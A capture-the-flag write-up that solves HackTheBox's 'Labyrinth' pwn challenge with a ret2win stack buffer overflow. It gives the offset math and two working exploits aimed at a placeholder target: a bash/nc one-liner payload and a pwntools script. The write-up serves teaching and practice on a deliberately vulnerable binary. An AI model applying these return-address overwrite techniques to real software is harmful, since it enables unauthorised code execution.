Labyrinth
XESXOR9/10/20262 min read
#pwn#htb#easy#buffer_overflow#ret2win#return_address_overwrite#stack_alignment#linux
Labyrinth
Platform: HackTheBox | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-01-29 | Status: Solved Techniques: buffer_overflow, ret2win, return_address_overwrite, stack_alignment
Summary
You find yourself trapped in a mysterious labyrinth, with only one chance to escape. Choose the correct door wisely, for the wrong choice could have deadly consequences.
Labyrinth - HackTheBox
Description
You find yourself trapped in a mysterious labyrinth, with only one chance to escape. Choose the correct door wisely, for the wrong choice could have deadly consequences.
Binary Analysis
File: ELF 64-bit executable, not stripped
Security:
- No PIE (fixed addresses)
- No stack canary
- NX enabled (no shellcode execution)
- Full RELRO
Key findings:
- Function
escape_planat0x401255reads and printsflag.txt - This is a classic ret2win scenario
Vulnerability
- Program displays 100 doors and asks user to select one
- Selecting door 69 triggers special path: "Fly like a bird and be free!"
- Program asks if user wants to change choice
- Second input uses
fgets(s, 0x44, stdin)- reads 68 bytes - Buffer
sis atrbp-0x30(48 bytes from rbp)
Buffer overflow math:
- Buffer size: 48 bytes
- Read size: 68 bytes (0x44)
- Overflow: 20 bytes
- Offset to return address: 48 (buffer) + 8 (saved rbp) = 56 bytes
Exploitation Strategy
- Select door 69 to reach vulnerable code path
- Overflow buffer to overwrite return address
- Use
retgadget (0x401016) for 16-byte stack alignment (x86_64 ABI requirement) - Jump to
escape_planfunction to print flag
Solution
Bash one-liner
bash read-only • copy allowed(echo '69'; sleep 1; printf 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x16\x10\x40\x00\x00\x00\x00\x00\x55\x12\x40\x00\x00\x00\x00\x00'; sleep 3) | nc TARGET_IP TARGET_PORT
Pwntools exploit
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * # Connection p = remote('TARGET_IP', TARGET_PORT) # p = process('./labyrinth') # for local testing # Select door 69 to reach vulnerable path p.sendlineafter(b'>> ', b'69') # Addresses (no PIE = fixed) ret_gadget = 0x401016 # ret instruction for stack alignment escape_plan = 0x401255 # win function that prints flag # Build payload offset = 56 # 48 bytes buffer + 8 bytes saved rbp payload = b'A' * offset payload += p64(ret_gadget) # align stack to 16 bytes payload += p64(escape_plan) # return to win function # Send payload p.sendlineafter(b'>> ', payload) # Get flag p.interactive()
Lessons Learned
- Always check for hidden code paths (door 69 was the key)
- x86_64 requires 16-byte stack alignment before
call- useretgadget - ret2win is the simplest form of ROP - just redirect execution to existing function
objdump -dorradare2quickly reveals win functions in non-stripped binaries